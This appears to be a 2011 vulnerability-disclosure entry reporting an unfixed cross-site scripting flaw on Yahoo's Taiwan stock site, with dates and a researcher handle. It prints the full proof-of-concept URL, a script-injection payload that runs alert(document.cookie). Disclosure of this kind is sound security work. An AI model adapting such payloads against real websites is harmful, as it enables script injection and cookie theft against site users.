Security researcher syst3m_f4ultghable inke lammer bazi beshe , has submitted on 07/03/2011 a cross-site-scripting (XSS) vulnerability affecting tw.stock.yahoo.com, which at the time of submission ranked 4 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 29/11/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 07/03/2011 |
Date published: 29/11/2011 |
Fixed? Mail us! | Status:  UNFIXED |
URL: http://tw.stock.yahoo.com/h/kimosel.php/testme/?tse=xss&cat=1&form=XSSPoint3%29;var%20a=1;};alert%28
document.cookie%29;opener&form_id=document=1;if%280%29{%28/*XSSPOINT2/*&form_name=document=1;if%280%
29{if%280%29{if%280%29{var%20a3D1}//*///&domain=123 |
|
Click here to view the mirror
|
|
|
| 
